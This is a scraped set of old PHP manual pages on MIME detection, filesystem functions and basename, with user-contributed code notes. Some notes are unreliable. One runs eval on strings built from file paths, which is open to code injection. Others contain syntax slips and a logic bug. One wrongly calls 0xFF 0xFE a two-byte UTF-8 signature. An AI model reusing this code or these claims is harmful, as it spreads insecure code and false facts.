If you explode the filename, using the dot as a separator, you can simply pop the last element off of the array to get the real file extension, no matter how short or long it is, without the overhead of a regex (unless one of those functions calls a regex in the background of which I'm not aware).

Therefore, where the regex would return no results on something like:
/var/www/html/example.backup
or
/var/www/html/example-program.c

the explode function would simply split it wherever it finds a dot and you can pop the last one off:

<?php
$filename = '/var/www/html/example.backup';
$finfo = explode('.',$filename);
$fileSuffix = array_pop($finfo);
?>

Then, to put the rest of the file name back together, you can use the implode function on the remainder of the finfo array. Alternatively, when putting the rest of the file name back together, you could use the str_replace function to replace the dot and the extension with nothing, but then you run the rare risk of removing the same string from the middle of the file name somewhere (not very likely, but possible nonetheless).

Also, on a side note, the last function example is going to return the wrong value if the file extension is not in the list and the mime_content_type function exists. Because that part of the function re-sets the $fileSuffix variable, without returning a value, the function is going to move on to the next statement, which is only going to return the first letter of whatever was returned by the mime_content_type function.

Instead of reading:
<?php
            if(function_exists("mime_content_type"))
            {
                $fileSuffix = mime_content_type($filename);
            }
?>
it should read:
<?php
            if(function_exists("mime_content_type"))
            {
                return mime_content_type($filename);
            }
?>
php [spat] hm2k.org 21-Aug-2008 10:52
I also had issues with this function.

The issue was that it would almost always return "text/plain".

echo ini_get('mime_magic.magicfile'); // returns /etc/httpd/conf/magic

I found that I needed the OS' magic.mime file instead.

You can either copy it to the existing location, or update your php.ini, you cannot use ini_set().

[root@blade conf]# mv magic magic.old
[root@blade conf]# cp /usr/share/magic.mime magic
[root@blade conf]# apachectl graceful

Note: you will see that I have gracefully restarted apache to ensure it has taken affect.
lukas v 10-Jul-2008 05:57
I cleaned up and compiled together code from different people here below. This code returns "unknown/<filesuffix>" if it can't something better.

<?php
    function returnMIMEType($filename)
    {
        preg_match("|\.([a-z0-9]{2,4})$|i", $filename, $fileSuffix);

        switch(strtolower($fileSuffix[1]))
        {
            case "js" :
                return "application/x-javascript";

            case "json" :
                return "application/json";

            case "jpg" :
            case "jpeg" :
            case "jpe" :
                return "image/jpg";

            case "png" :
            case "gif" :
            case "bmp" :
            case "tiff" :
                return "image/".strtolower($fileSuffix[1]);

            case "css" :
                return "text/css";

            case "xml" :
                return "application/xml";

            case "doc" :
            case "docx" :
                return "application/msword";

            case "xls" :
            case "xlt" :
            case "xlm" :
            case "xld" :
            case "xla" :
            case "xlc" :
            case "xlw" :
            case "xll" :
                return "application/vnd.ms-excel";

            case "ppt" :
            case "pps" :
                return "application/vnd.ms-powerpoint";

            case "rtf" :
                return "application/rtf";

            case "pdf" :
                return "application/pdf";

            case "html" :
            case "htm" :
            case "php" :
                return "text/html";

            case "txt" :
                return "text/plain";

            case "mpeg" :
            case "mpg" :
            case "mpe" :
                return "video/mpeg";

            case "mp3" :
                return "audio/mpeg3";

            case "wav" :
                return "audio/wav";

            case "aiff" :
            case "aif" :
                return "audio/aiff";

            case "avi" :
                return "video/msvideo";

            case "wmv" :
                return "video/x-ms-wmv";

            case "mov" :
                return "video/quicktime";

            case "zip" :
                return "application/zip";

            case "tar" :
                return "application/x-tar";

            case "swf" :
                return "application/x-shockwave-flash";

            default :
            if(function_exists("mime_content_type"))
            {
                $fileSuffix = mime_content_type($filename);
            }

            return "unknown/" . trim($fileSuffix[0], ".");
        }
    }
?>
MKoper 01-Jul-2008 01:29
Regarding serkanyersen's example, i extended the extensions list

case "js":
                return "application/x-javascript";
            case "json":
                return "application/json";
            case "jpg":
            case "jpeg":
            case "jpe":
                return "image/jpg";
            case "png":
            case "gif":
            case "bmp":
            case "tiff":
                return "image/".strtolower($matches[1]);
            case "css":
                return "text/css";
            case "xml":
                return "application/xml";
            case "doc":
            case "docx":
                return "application/msword";
            case "xls":
            case "xlt":
            case "xlm":
            case "xld":
            case "xla":
            case "xlc":
            case "xlw":
            case "xll":
                return "application/vnd.ms-excel";
            case "ppt":
            case "pps":
                return "application/vnd.ms-powerpoint";
            case "rtf":
                return "application/rtf";
            case "pdf":
                return "application/pdf";
            case "html":
            case "htm":
            case "php":
                return "text/html";
            case "txt":
                return "text/plain";
            case "mpeg":
            case "mpg":
            case "mpe"
                return "video/mpeg";
            case "mp3":
                return "audio/mpeg3";
            case "wav":
                return "audio/wav";
            case "aiff":
            case "aif":
                return "audio/aiff";
            case "avi":
                return "video/msvideo";
            case "wmv":
                return "video/x-ms-wmv";
            case "mov":
                return "video/quicktime";
            case "zip":
                return "application/zip";
            case "tar":
                return "application/x-tar";
            case "swf":
                return "application/x-shockwave-flash";
memi aet liip doet ch 06-Jun-2008 02:59
Regarding serkanyersen's example : It is advisable to change the regular expression to something more precise like

preg_match("|\.([a-z0-9]{2,4})$|i", $filename, $m);

This makes sure that only the last few characters are taken. The original expression would not work if the filename is a relative path.
serkanyersen 29-Apr-2008 08:22
I've written an alternative for this. Not necessarily tested but it works OK on my server.

I hope this helps

<?php
/**
 * Tries to get mime data of the file.
 * @return {String} mime-type of the given file
 * @param $filename String
 */
function get_mime($filename){
    preg_match("/\.(.*?)$/", $filename, $m);    # Get File extension for a better match
    switch(strtolower($m[1])){
        case "js": return "application/javascript";
        case "json": return "application/json";
        case "jpg": case "jpeg": case "jpe": return "image/jpg";
        case "png": case "gif": case "bmp": return "image/".strtolower($m[1]);
        case "css": return "text/css";
        case "xml": return "application/xml";
        case "html": case "htm": case "php": return "text/html";
        default:
            if(function_exists("mime_content_type")){ # if mime_content_type exists use it.
               $m = mime_content_type($filename);
            }else if(function_exists("")){    # if Pecl installed use it
               $finfo = finfo_open(FILEINFO_MIME);
               $m = finfo_file($finfo, $filename);
               finfo_close($finfo);
            }else{    # if nothing left try shell
               if(strstr($_SERVER[HTTP_USER_AGENT], "Windows")){ # Nothing to do on windows
                   return ""; # Blank mime display most files correctly especially images.
               }
               if(strstr($_SERVER[HTTP_USER_AGENT], "Macintosh")){ # Correct output on macs
                   $m = trim(exec('file -b --mime '.escapeshellarg($filename)));
               }else{    # Regular unix systems
                   $m = trim(exec('file -bi '.escapeshellarg($filename)));
               }
            }
            $m = split(";", $m);
            return trim($m[0]);
    }
}
?>
mami at madagascarsurlenet dot com 13-Nov-2007 10:58
Since I enabled the mime_magic extension on my IIS, I also got the error message "invalid magic file, disabled" in my phpinfo. After I add these lines to my php.ini, the message disappeared and it works great!

mime_magic.debug = Off
mime_magic.magicfile ="D:\PHP5\extras\magic.mime"

mime_magic.debug is by default off but without this line it fails. I'm using PHP 5.2.5.
Sune Jensen 29-Aug-2007 09:16
For me mime_content_type didn't work in Linux before I added

mime_magic.magicfile = "/usr/share/magic.mime"

to php.ini (remember to find the correct path to mime.magic)
dt at php dot net 14-Jun-2007 08:18
<?php
if (!function_exists('mime_content_type ')) {
    function mime_content_type($filename) {
        $finfo    = finfo_open(FILEINFO_MIME);
        $mimetype = finfo_file($finfo, $filename);
        finfo_close($finfo);
        return $mimetype;
    }
}
?>
Quis at IHAVEGOTSPAMENOUGH dot omicidio dot nl 12-Feb-2007 09:28
<?PHP
  function qmimetype($file) {
    $ext=array_pop(explode('.',$file));
    foreach(file('/usr/local/etc/apache22/mime.types') as $line)
      if(preg_match('/^([^#]\S+)\s+.*'.$ext.'.*$/',$line,$m))
        return $m[1];
    return 'application/octet-stream';
  }
?>

Not perfect, but works good enough for me ;)
tree2054 using hotmail 03-Nov-2006 05:59
The correct little correction:

exec will return the mime with a newline at the end, the trim() should be called with the result of exec, not the other way around.

<?php

if ( ! function_exists ( 'mime_content_type ' ) )
{
   function mime_content_type ( $f )
   {
       return trim ( exec ('file -bi ' . escapeshellarg ( $f ) ) ) ;
   }
}

?>
15-Oct-2006 07:06
if you use a transparent 'spacer' GIF i've found it needs to be a around 25x25 for it to register as 'image/gif'. otherwise it's read in as 'text/plain'.
webmaster at cafe-clope dot net 23-Feb-2006 05:31
Completing <some dude AT somewhere DOT com> comment:

0 string < ? php application/x-httpd-php

and string detection on text files may fail if you check a file encoded with signed UTF-8. The UTF-8 signature is a two bytes code (0xFF 0xFE) that prepends the file in order to force UTF-8 recognition (you may check it on an hexadecimal editor).
some dude AT somewhere DOT com 07-Oct-2005 09:44
I added these two lines to my magic.mime file:

0 string \<?php application/x-httpd-php
0 string \<?xml text/xml

The first one may not work if "<?php" is not at the very beginning of your file, e.g., if some HTML preceeds the first bit of PHP code. The second one should work because "<?xml" *should* be the first thing in every XML file.
ginnsu at arcee dot ca 08-Mar-2005 10:14
The function mime_content_type only worked for me on Microsoft Windows after I added the directive "mime_magic.debug" to my php.ini with the value of "On". The default value appears to be "Off". Exampe:

[mime_magic]
mime_magic.debug = On
mime_magic.magicfile = "c:\php\extras\magic.mime"
finfo_set_flags
Filesystem
Fileinfo Functions


Filesystem

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Filesystem Functions
    • basename — Returns trailing name component of path
    • chgrp — Changes file group
    • chmod — Changes file mode
    • chown — Changes file owner
    • clearstatcache — Clears file status cache
    • copy — Copies file
    • delete — See unlink or unset
    • dirname — Returns parent directory's path
    • disk_free_space — Returns available space on filesystem or disk partition
    • disk_total_space — Returns the total size of a filesystem or disk partition
    • diskfreespace — Alias of disk_free_space
    • fclose — Closes an open file pointer
    • feof — Tests for end-of-file on a file pointer
    • fflush — Flushes the output to a file
    • fgetc — Gets character from file pointer
    • fgetcsv — Gets line from file pointer and parse for CSV fields
    • fgets — Gets line from file pointer
    • fgetss — Gets line from file pointer and strip HTML tags
    • file_exists — Checks whether a file or directory exists
    • file_get_contents — Reads entire file into a string
    • file_put_contents — Write a string to a file
    • file — Reads entire file into an array
    • fileatime — Gets last access time of file
    • filectime — Gets inode change time of file
    • filegroup — Gets file group
    • fileinode — Gets file inode
    • filemtime — Gets file modification time
    • fileowner — Gets file owner
    • fileperms — Gets file permissions
    • filesize — Gets file size
    • filetype — Gets file type
    • flock — Portable advisory file locking
    • fnmatch — Match filename against a pattern
    • fopen — Opens file or URL
    • fpassthru — Output all remaining data on a file pointer
    • fputcsv — Format line as CSV and write to file pointer
    • fputs — Alias of fwrite
    • fread — Binary-safe file read
    • fscanf — Parses input from a file according to a format
    • fseek — Seeks on a file pointer
    • fstat — Gets information about a file using an open file pointer
    • ftell — Returns the current position of the file read/write pointer
    • ftruncate — Truncates a file to a given length
    • fwrite — Binary-safe file write
    • glob — Find pathnames matching a pattern
    • is_dir — Tells whether the filename is a directory
    • is_executable — Tells whether the filename is executable
    • is_file — Tells whether the filename is a regular file
    • is_link — Tells whether the filename is a symbolic link
    • is_readable — Tells whether a file exists and is readable
    • is_uploaded_file — Tells whether the file was uploaded via HTTP POST
    • is_writable — Tells whether the filename is writable
    • is_writeable — Alias of is_writable
    • lchgrp — Changes group ownership of symlink
    • lchown — Changes user ownership of symlink
    • link — Create a hard link
    • linkinfo — Gets information about a link
    • lstat — Gives information about a file or symbolic link
    • mkdir — Makes directory
    • move_uploaded_file — Moves an uploaded file to a new location
    • parse_ini_file — Parse a configuration file
    • parse_ini_string — Parse a configuration string
    • pathinfo — Returns information about a file path
    • pclose — Closes process file pointer
    • popen — Opens process file pointer
    • readfile — Outputs a file
    • readlink — Returns the target of a symbolic link
    • realpath_cache_get — Get realpath cache entries
    • realpath_cache_size — Get realpath cache size
    • realpath — Returns canonicalized absolute pathname
    • rename — Renames a file or directory
    • rewind — Rewind the position of a file pointer
    • rmdir — Removes directory
    • set_file_buffer — Alias of stream_set_write_buffer
    • stat — Gives information about a file
    • symlink — Creates a symbolic link
    • tempnam — Create file with unique file name
    • tmpfile — Creates a temporary file
    • touch — Sets access and modification time of file
    • umask — Changes the current umask
    • unlink — Deletes a file

User Contributed Notes

There are no user contributed notes for this page.
mime_content_type
Introduction
File System Related Extensions


Introduction

No external libraries are needed to build this extension, but if you want PHP to support LFS (large files) on Linux, then you need to have a recent glibc and you need compile PHP with the following compiler flags: -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64.

User Contributed Notes

There are no user contributed notes for this page.
Filesystem
Installing/Configuring
Filesystem


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Filesystem


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Filesystem and Streams Configuration Options
Name | Default | Changeable | Changelog
allow_url_fopen | "1" | PHP_INI_SYSTEM | PHP_INI_ALL in PHP <= 4.3.4. Available since PHP 4.0.4.
allow_url_include | "0" | PHP_INI_ALL | PHP_INI_SYSTEM in PHP 5. Available since PHP 5.2.0.
user_agent | NULL | PHP_INI_ALL | Available since PHP 4.3.0.
default_socket_timeout | "60" | PHP_INI_ALL | Available since PHP 4.3.0.
from | "" | PHP_INI_ALL |
auto_detect_line_endings | "0" | PHP_INI_ALL | Available since PHP 4.3.0.

Here's a short explanation of the configuration directives.

allow_url_fopen boolean

This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers.

Note:

This option was introduced immediately after the release of version 4.0.3. For versions up to and including 4.0.3 you can only disable this feature at compile time by using the configuration switch --disable-url-fopen-wrapper.

Warning

On Windows versions prior to PHP 4.3.0, the following functions do not
support remote file accessing: include(),
include_once(), require(),
require_once() and the imagecreatefromXXX
functions in the GD and Image Functions extension.

allow_url_include boolean

This option allows the use of URL-aware fopen wrappers with the following functions: include(), include_once(), require(), require_once().

Note:

This setting requires allow_url_fopen to be on.

user_agent string

Define the user agent for PHP to send.

default_socket_timeout integer

Default timeout (in seconds) for socket based streams.

Note: This configuration option was introduced in PHP 4.3.0

from string

The email address to be used on unauthenticated FTP connections and as the value of From header for HTTP connections, when using the ftp and http wrappers, respectively.

auto_detect_line_endings boolean

When turned on, PHP will examine the data read by fgets() and file() to see if it is using Unix, MS-Dos or Macintosh line-ending conventions.

This enables PHP to interoperate with Macintosh systems, but defaults to Off, as there is a very small performance penalty when detecting the EOL conventions for the first line, and also because people using carriage-returns as item separators under Unix systems would experience non-backwards-compatible behaviour.

Note: This configuration option was introduced in PHP 4.3.0

User Contributed Notes

Snow IT 17-Mar-2011 12:16
Just a quick note: setting default_socket_timeout to zero causes file_get_contents(<url>) to immediately fail.

We were under the (false) impression that zero meant never time out.
Installation
Resource Types
Installing/Configuring


Resource Types

The file system uses streams as their resource type. Streams are documented in its own reference chapter, Streams.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

GLOB_BRACE (integer)
GLOB_ONLYDIR (integer)
GLOB_MARK (integer)
GLOB_NOSORT (integer)
GLOB_NOCHECK (integer)
GLOB_NOESCAPE (integer)
GLOB_AVAILABLE_FLAGS (integer)
PATHINFO_DIRNAME (integer)
PATHINFO_BASENAME (integer)
PATHINFO_EXTENSION (integer)
PATHINFO_FILENAME (integer)
Since PHP 5.2.0.
FILE_USE_INCLUDE_PATH (integer)
Search for filename in include_path (since PHP 5).
FILE_NO_DEFAULT_CONTEXT (integer)
FILE_APPEND (integer)
Append content to existing file.
FILE_IGNORE_NEW_LINES (integer)
Strip EOL characters (since PHP 5).
FILE_SKIP_EMPTY_LINES (integer)
Skip empty lines (since PHP 5).
FILE_BINARY (integer)

Binary mode (since PHP 5.2.7).

Note:

This constant has no effect, and is only available for forward compatibility.

FILE_TEXT (integer)

Text mode (since PHP 5.2.7).

Note:

This constant has no effect, and is only available for forward compatibility.

INI_SCANNER_NORMAL (integer)
Normal INI scanner mode (since PHP 5.3).
INI_SCANNER_RAW (integer)
Raw INI scanner mode (since PHP 5.3).
FNM_NOESCAPE (integer)
Disable backslash escaping.
FNM_PATHNAME (integer)
Slash in string only matches slash in the given pattern.
FNM_PERIOD (integer)
Leading period in string must be exactly matched by period in the given pattern.
FNM_CASEFOLD (integer)
Caseless match. Part of the GNU extension.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Filesystem Functions
Filesystem


Filesystem Functions

See Also

For related functions, see also the Directory and Program Execution sections.

For a list and explanation of the various URL wrappers that can be used as remote files, see also Supported Protocols and Wrappers.

Table of Contents

  • basename — Returns trailing name component of path
  • chgrp — Changes file group
  • chmod — Changes file mode
  • chown — Changes file owner
  • clearstatcache — Clears file status cache
  • copy — Copies file
  • delete — See unlink or unset
  • dirname — Returns parent directory's path
  • disk_free_space — Returns available space on filesystem or disk partition
  • disk_total_space — Returns the total size of a filesystem or disk partition
  • diskfreespace — Alias of disk_free_space
  • fclose — Closes an open file pointer
  • feof — Tests for end-of-file on a file pointer
  • fflush — Flushes the output to a file
  • fgetc — Gets character from file pointer
  • fgetcsv — Gets line from file pointer and parse for CSV fields
  • fgets — Gets line from file pointer
  • fgetss — Gets line from file pointer and strip HTML tags
  • file_exists — Checks whether a file or directory exists
  • file_get_contents — Reads entire file into a string
  • file_put_contents — Write a string to a file
  • file — Reads entire file into an array
  • fileatime — Gets last access time of file
  • filectime — Gets inode change time of file
  • filegroup — Gets file group
  • fileinode — Gets file inode
  • filemtime — Gets file modification time
  • fileowner — Gets file owner
  • fileperms — Gets file permissions
  • filesize — Gets file size
  • filetype — Gets file type
  • flock — Portable advisory file locking
  • fnmatch — Match filename against a pattern
  • fopen — Opens file or URL
  • fpassthru — Output all remaining data on a file pointer
  • fputcsv — Format line as CSV and write to file pointer
  • fputs — Alias of fwrite
  • fread — Binary-safe file read
  • fscanf — Parses input from a file according to a format
  • fseek — Seeks on a file pointer
  • fstat — Gets information about a file using an open file pointer
  • ftell — Returns the current position of the file read/write pointer
  • ftruncate — Truncates a file to a given length
  • fwrite — Binary-safe file write
  • glob — Find pathnames matching a pattern
  • is_dir — Tells whether the filename is a directory
  • is_executable — Tells whether the filename is executable
  • is_file — Tells whether the filename is a regular file
  • is_link — Tells whether the filename is a symbolic link
  • is_readable — Tells whether a file exists and is readable
  • is_uploaded_file — Tells whether the file was uploaded via HTTP POST
  • is_writable — Tells whether the filename is writable
  • is_writeable — Alias of is_writable
  • lchgrp — Changes group ownership of symlink
  • lchown — Changes user ownership of symlink
  • link — Create a hard link
  • linkinfo — Gets information about a link
  • lstat — Gives information about a file or symbolic link
  • mkdir — Makes directory
  • move_uploaded_file — Moves an uploaded file to a new location
  • parse_ini_file — Parse a configuration file
  • parse_ini_string — Parse a configuration string
  • pathinfo — Returns information about a file path
  • pclose — Closes process file pointer
  • popen — Opens process file pointer
  • readfile — Outputs a file
  • readlink — Returns the target of a symbolic link
  • realpath_cache_get — Get realpath cache entries
  • realpath_cache_size — Get realpath cache size
  • realpath — Returns canonicalized absolute pathname
  • rename — Renames a file or directory
  • rewind — Rewind the position of a file pointer
  • rmdir — Removes directory
  • set_file_buffer — Alias of stream_set_write_buffer
  • stat — Gives information about a file
  • symlink — Creates a symbolic link
  • tempnam — Create file with unique file name
  • tmpfile — Creates a temporary file
  • touch — Sets access and modification time of file
  • umask — Changes the current umask
  • unlink — Deletes a file

User Contributed Notes

drapeko.com 23-May-2009 06:19
You have an array of directories (straightforward list of directories):

<?php
     $array = array(
         '/home/drapeko/var',
         '/home/drapeko/var/y',
         '/home/drapeko',
         '/home',
         '/var/libexec'
     );
     );
?>

And you would like to transform this array to hierarchy of directories:

<?php
 $array = array (
     'home' => array (
         'drapeko' => array (
             'var' => array (
                 'y' => array()
             )
         )
     ),
     'var' => array(
         'libexec' => array()
     )
 );
?>

How can you do it?

First of all the below function will help us.

<?php
/**
 * This function converts real filesystem path to the string array representation.
 *
 * for example,
 * '/home/drapeko/var/y            will be converted to    $result_array['home']['drapeko']['var']['y']
 * '/home/drapeko/var/y/file.txt   will be converted to       $result_array['home']['drapeko']['var']['y']
 *
 * @param $path         realpath of the directory
 * @return string        string array representation of the path
 */
function pathToArrayStr($path) {
     // TODO constants/configs?
     $res_path = str_replace(array(':/', ':\\', '/', '\\', DIRECTORY_SEPARATOR), '/', $path);
     // if the first or last symbol is '/' delete it (e.g. for linux)
     $res_path = preg_replace(array("/^\//", "/\/$/"), '', $res_path);
     // create string
     $res_path = '[\''.str_replace('/', '\'][\'', $res_path).'\']';

     return $res_path;
}
?>

It simply converts the real path of the file to array string representation.

How can you use this function? I know it looks like a little confusing. But it's quite simple. Consider the example below:

<?php
 $result = array();
 $check = array();
 foreach($array as $val) {
     $str = pathToArrayStr($val, 'result');
     foreach($check as $ck) {
         if (strpos($ck, $str) !== false) {
             continue 2;
         }
     }
     $check[] = $str;
     eval('$result'.$str.' = array();');
 }
print_r($result);
?>

Heh, how do you find it? This approach has helped me very much. I hope you will find it useful. :)
Christian 17-Mar-2007 09:24
I just learned that, to specify file names in a portable manner, you DON'T need 'DIRECTORY_SEPARATOR' - just use '/'. This really surprised and shocked me, as until now I typed about a zillion times 'DIRECTORY_SEPARATOR' to stay platform independent - unnecessary. Don't make the same mistake.
tunnelareaten at gmail dot com 25-Feb-2005 08:27
I made this function to search and/or display files by extension or for a string occurance in the filename. Any comments or enhancements are welcome offcourse. I'll update this function soon.

usage: list_files([string], [string], [int 1 | 0], [int 1 | 0]);

search for extension: list_files([string], [string], [0], [int 1 | 0]);
returns array: $myArray = list_files([string], [string], [0], [0]);
echo result: list_files([string], [string], [0], [1]);

search for string occurance: list_files([string], [string], [1], [int 1 | 0]);
returns array: $myArray = list_files([string], [string], [1], [0]);
echo result: list_files([string], [string], [1], [1]);

<?php

function list_files($directory, $stringSearch, $searchHandler, $outputHandler) {
 $errorHandler = false;
 $result = array();
 if (! $directoryHandler = @opendir ($directory)) {
  echo ("<pre>\nerror: directory \"$directory\" doesn't exist!\n</pre>\n");
 return $errorHandler = true;
 }
 if ($searchHandler === 0) {
  while (false !== ($fileName = @readdir ($directoryHandler))) {
   if(@substr ($fileName, - @strlen ($stringSearch)) === $stringSearch) {
    @array_push ($result, $fileName);
   }
  }
 }
 if ($searchHandler === 1) {
  while(false !== ($fileName = @readdir ($directoryHandler))) {
   if(@substr_count ($fileName, $stringSearch) > 0) {
    @array_push ($result, $fileName);
   }
  }
 }
 if (($errorHandler === true) &&  (@count ($result) === 0)) {
  echo ("<pre>\nerror: no filetype \"$fileExtension\" found!\n</pre>\n");
 }
 else {
  sort ($result);
  if ($outputHandler === 0) {
   return $result;
  }
  if ($outputHandler === 1) {
   echo ("<pre>\n");
   print_r ($result);
   echo ("</pre>\n");
  }
 }
}

?>
http://iubito.free.fr 30-Dec-2003 04:39
Here is a function I wrote to get the relative path between 2 files or directory.

We suppose that paths are wrotten in Unix format (/ instead of windows \\)

<?php
/**
 * Return the relative path between two paths / Retourne le chemin relatif entre 2 chemins
 *
 * If $path2 is empty, get the current directory (getcwd).
 * @return string
 */
function relativePath($path1, $path2='')
{
    if ($path2 == '') {
        $path2 = $path1;
        $path1 = getcwd();
    }

    //Remove starting, ending, and double / in paths
    $path1 = trim($path1,'/');
    $path2 = trim($path2,'/');
    while (substr_count($path1, '//')) $path1 = str_replace('//', '/', $path1);
    while (substr_count($path2, '//')) $path2 = str_replace('//', '/', $path2);

    //create arrays
    $arr1 = explode('/', $path1);
    if ($arr1 == array('')) $arr1 = array();
    $arr2 = explode('/', $path2);
    if ($arr2 == array('')) $arr2 = array();
    $size1 = count($arr1);
    $size2 = count($arr2);

    //now the hard part :-p
    $path='';
    for($i=0; $i<min($size1,$size2); $i++)
    {
        if ($arr1[$i] == $arr2[$i]) continue;
        else $path = '../'.$path.$arr2[$i].'/';
    }
    if ($size1 > $size2)
        for ($i = $size2; $i < $size1; $i++)
            $path = '../'.$path;
    else if ($size2 > $size1)
        for ($i = $size1; $i < $size2; $i++)
            $path .= $arr2[$i].'/';

    return $path;
}
?>

Enjoy ! :-)
Gregor Mosheh 22-Aug-2003 05:23
This function searches a directory and returns an array of all files whose filename matches the specified regular expression. It's similar in concept to the Unix find program.

 function findfile($location='',$fileregex='') {
    if (!$location or !is_dir($location) or !$fileregex) {
       return false;
    }

    $matchedfiles = array();

    $all = opendir($location);
    while ($file = readdir($all)) {
       if (is_dir($location.'/'.$file) and $file <> ".." and $file <> ".") {
          $subdir_matches = findfile($location.'/'.$file,$fileregex);
          $matchedfiles = array_merge($matchedfiles,$subdir_matches);
          unset($file);
       }
       elseif (!is_dir($location.'/'.$file)) {
          if (preg_match($fileregex,$file)) {
             array_push($matchedfiles,$location.'/'.$file);
          }
       }
    }
    closedir($all);
    unset($all);
    return $matchedfiles;
 }

$htmlfiles = findfile('/some/dir','/\.(htm|html)$/');
Gregor Mosheh 16-Jul-2003 10:25
I needed a function to find disk usage for a directory and its subs, so here it is. It's kinda like the Unix du program, except it returns the usage in bytes, not blocks.

function du($location) {
   if (!$location or !is_dir($location)) {
      return 0;
   }

   $total = 0;

   $all = opendir($location);
   while ($file = readdir($all)) {
      if (is_dir($location.'/'.$file) and $file <> ".." and $file <> ".") {
         $total += du($location.'/'.$file);
         unset($file);
      }
      elseif (!is_dir($location.'/'.$file)) {
         $stats = stat($location.'/'.$file);
         $total += $stats['size'];
         unset($file);
      }
   }
   closedir($all);
   unset($all);
   return $total;
}

print du('/some/directory');
l_domenech at yahoo dot ca 03-Jul-2003 10:25
In the code samples of the user-contributed notes, you'll find functions that sometimes need a slash at the end of a folder path and sometimes don't.

Here's a little function to append a slash at the end of a path if there isn't one already.

function append_slash_if_none($string)
    {
    if (ereg ("/$", $string))
        {
        return $string;
        }
    else
        {
        return ereg_replace("$", "/", $string);
        }
    }

(Replace with a backslash if you're on Windows...)
mitra at mitra dot biz 15-May-2003 10:10
Pollard@php.net contributed this in response to a question on setting these variables ...
This option *IS* settable within your PHP scripts.
Example:

<?php
  ini_set('auto_detect_line_endings', true);
  $contents = file('unknowntype.txt');

  ini_set('auto_detect_line_endings', false);
  $content2 = file('unixfile.txt');
?>

Note, with PHP 4.3 anytime Mac files are read using fgets or file you'll need to auto_detect_line_endings since \n is otherwise assumed.  However, with PHP 5.0, stream_get_line() will allow you to specify what line ending character to read up to.

\\ Read a line from a MAC file
stream_get_line($fp, 4096, "\r");

\\ Read a line from a UNIX file
stream_get_line($fp, 4096, "\n");

\\ Read a line from a DOS file
stream_get_line($fp, 4096, "\r\n");

\\ Read a line up to any filesystem line ending
ini_set('auto_detect_line_endings', true); fgets($fp);

\\ You can also make up your own line ending characters:
\\ Read up to the first instance of ":"
stream_get_line($fp, 4096, ":");
regis at webstuff dot com dot br 03-Apr-2003 07:49
Here is a useful function if you're having trouble writing raw bytes into a file.

It receives an integer and returns an array containing the ASCII values of the bytes on each index of the array.

function int2bytes($number){
  $byte = $number;
  $i=0;
  do{
    $dec_tmp = $byte;

    $byte = bcdiv($byte,256,0);
    $resto = $dec_tmp - (256 * $byte);
    $return[] = $resto;
  } while($byte >= 256);
  if($byte) $return[] = $byte;
  return array_reverse($return);
}

Example:

$arr = int2bytes(75832);

$arr will contain the following values:
Array
(
    [0] => 1
    [1] => 40
    [2] => 56
)

Now, to write this data to the file, just use a fputs() with chr(), just like this:

fputs($fp,chr($arr[0]).chr($arr[1]).chr($arr[2]))

-- Regis
jdhurn at uberidx dot com 08-Mar-2003 07:18
This is a function I use to determine if a file contains Binary information. I use this for my search engine so that it doesn't try to index files like .zip or .mp3 or any other file that doesn't contain readable information. It makes use of the Character Type Extension if it's loaded, if it's not then it uses Regular Expressions.

function is_binary($link)
{
     $tmpStr  = '';
     @$fp     = fopen($link, 'rb');
     @$tmpStr = fread($fp, 256);
     @fclose($fp);

     if($tmpStr != '')
     {
          $tmpStr = str_replace(chr(10), '', $tmpStr);
          $tmpStr = str_replace(chr(13), '', $tmpStr);

          $tmpInt = 0;

           for($i =0; $i < strlen($tmpStr); $i++)
          {
                if( extension_loaded('ctype') )
               {
                    if( !ctype_print($tmpStr[$i]) )
                         $tmpInt++;
               }
               else
               {
                   if( !eregi("[[:print:]]+", $tmpStr[$i]) )
                         $tmpInt++;
               }
           }

           if($tmpInt > 5)
                return(0);
            else
                return(1);
     }
     else
           return(0);
}
Predefined Constants
basename
Filesystem


Returns trailing name component of path

Filesystem Functions
chgrp
Filesystem Functions
PHP Manual

basename

(PHP 4, PHP 5)

basename — Returns trailing name component of path

Description

string basename ( string $path [, string $suffix ] )

Given a string containing the path to a file or directory, this function will return the trailing name component.

Parameters

path

A path.

On Windows, both slash (/) and backslash (\) are used as directory separator character. In other environments, it is the forward slash (/).

suffix

If the name component ends in suffix this will also be cut off.

Return Values

Returns the base name of the given path.

Changelog

Version | Description
4.1.0 | The suffix parameter was added

Examples

Example #1 basename() example

<?php
echo "1) ".basename("/etc/sudoers.d", ".d").PHP_EOL;
echo "2) ".basename("/etc/passwd").PHP_EOL;
echo "3) ".basename("/etc/").PHP_EOL;
echo "4) ".basename(".").PHP_EOL;
echo "5) ".basename("/");
?>

The above example will output:

1) sudoers
2) passwd
3) etc
4) .
5)

Notes

Note:

basename() operates naively on the input string, and is not aware of the actual filesystem, or path components such as "..".

Note:

basename() is locale aware, so for it to see the correct basename with multibyte character paths, the matching locale must be set using the setlocale() function.

See Also

  • dirname() - Returns parent directory's path
  • pathinfo() - Returns information about a file path

User Contributed Notes

tamar at atarplpl dot co dot il 08-Nov-2011 02:00
If you have problem with this function and UTF8 charset, you only have to upgrade php version to 5.2 or higher
noemail at nosite dot com 26-Feb-2010 01:00
you could use this function when you need basename to work with cyrillic filenames

<?php
    function pcgbasename($param, $suffix=null) {
        if ( $suffix ) {
            $tmpstr = ltrim(substr($param, strrpos($param, DIRECTORY_SEPARATOR) ), DIRECTORY_SEPARATOR);
            if ( (strpos($param, $suffix)+strlen($suffix) )  ==  strlen($param) ) {
                return str_ireplace( $suffix, '', $tmpstr);
            } else {
                return ltrim(substr($param, strrpos($param, DIRECTORY_SEPARATOR) ), DIRECTORY_SEPARATOR);
            }
        } else {
